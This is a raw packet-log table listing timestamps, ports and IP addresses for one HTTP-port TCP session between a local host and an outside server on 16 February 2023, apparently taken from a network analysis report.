Feb 16, 2023 13:57:19.362677097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.362704039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.362735033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.412123919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.509051085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519228935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519257069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519282103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519288063 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519305944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519325972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519339085 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519346952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519364119 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519367933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519390106 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519411087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519432068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519435883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519453049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519469023 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519474983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519496918 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519496918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519516945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519540071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519543886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519566059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519586086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519629002 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519710064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519732952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519758940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519779921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519784927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519803047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519823074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519829988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519844055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519862890 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519862890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519886017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519906044 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519906998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519927025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519952059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519967079 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.519975901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.519999981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520003080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520028114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520046949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520049095 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520073891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520101070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520102978 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520129919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520144939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520172119 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520194054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520214081 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520215034 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520236015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520255089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520260096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520275116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520294905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520302057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520318985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520340919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520359039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520378113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520386934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520397902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520420074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520426035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520443916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520463943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520478010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520483971 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520503998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520504951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520525932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520545006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520545959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520567894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520587921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520590067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520612001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520632029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520649910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520653009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520668983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520684958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520694017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520708084 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520716906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520740986 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520752907 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520765066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520791054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520813942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520833969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520854950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520858049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.520878077 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520899057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520917892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520936012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520956993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.520981073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521001101 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521004915 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521025896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521029949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521045923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521065950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521075964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521087885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521111012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521128893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521142960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521151066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521173000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521192074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521212101 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521231890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521250963 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521270037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521290064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521311998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521312952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521339893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521361113 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521361113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521383047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521404028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521405935 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521424055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521445990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521466017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521470070 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521486044 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521506071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521507025 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521526098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521529913 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521548033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521564007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521574020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521598101 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521617889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521619081 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521640062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521660089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521683931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521683931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521713018 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521713972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521740913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521763086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521784067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521784067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521806955 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521810055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521831036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521850109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521862984 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521872044 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521886110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521895885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521915913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521934032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521939039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521955013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521970034 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.521976948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.521996975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522017002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522036076 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522057056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522057056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522079945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522093058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522102118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522125006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522145033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522150040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522166014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522185087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522205114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522209883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522226095 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522243977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522260904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522281885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522284031 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522301912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522315979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522325039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522350073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522367001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522370100 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522394896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522417068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522428036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522438049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522458076 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522469044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522476912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522491932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522496939 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522521973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522542000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522552013 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522562027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522583961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522584915 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522608042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522628069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522649050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522650957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522672892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522680044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522706032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522722960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522728920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522751093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522769928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522773027 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522790909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522804022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522811890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522831917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522850037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522865057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522871017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522891045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522895098 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522910118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522928953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522934914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522953033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522964001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.522977114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.522998095 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523015976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523015976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523037910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523057938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523076057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523078918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523102045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523112059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523128033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523140907 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523149967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523176908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523204088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523225069 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523232937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523257971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523261070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523289919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523312092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523313046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523339033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523350954 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523359060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523380041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523399115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523421049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523421049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523443937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523457050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523466110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523489952 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523500919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523521900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523544073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523549080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523566961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523586035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523605108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523605108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523631096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523634911 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523653984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523673058 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523684025 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523694992 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523720026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523720026 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523749113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523756027 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523770094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523791075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523814917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523817062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523837090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523857117 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523878098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523891926 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.523901939 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523924112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523942947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523962975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523982048 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.523999929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524018049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524036884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524056911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524080038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524104118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524105072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524128914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524147034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524154902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524167061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524178982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524187088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524214983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524229050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524235964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524257898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524279118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524291992 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524298906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524318933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524324894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524339914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524357080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524360895 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524382114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524405003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524410963 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524426937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524441004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524446964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524466038 CET	80	49687	23.106.124.133	192.168.2.3
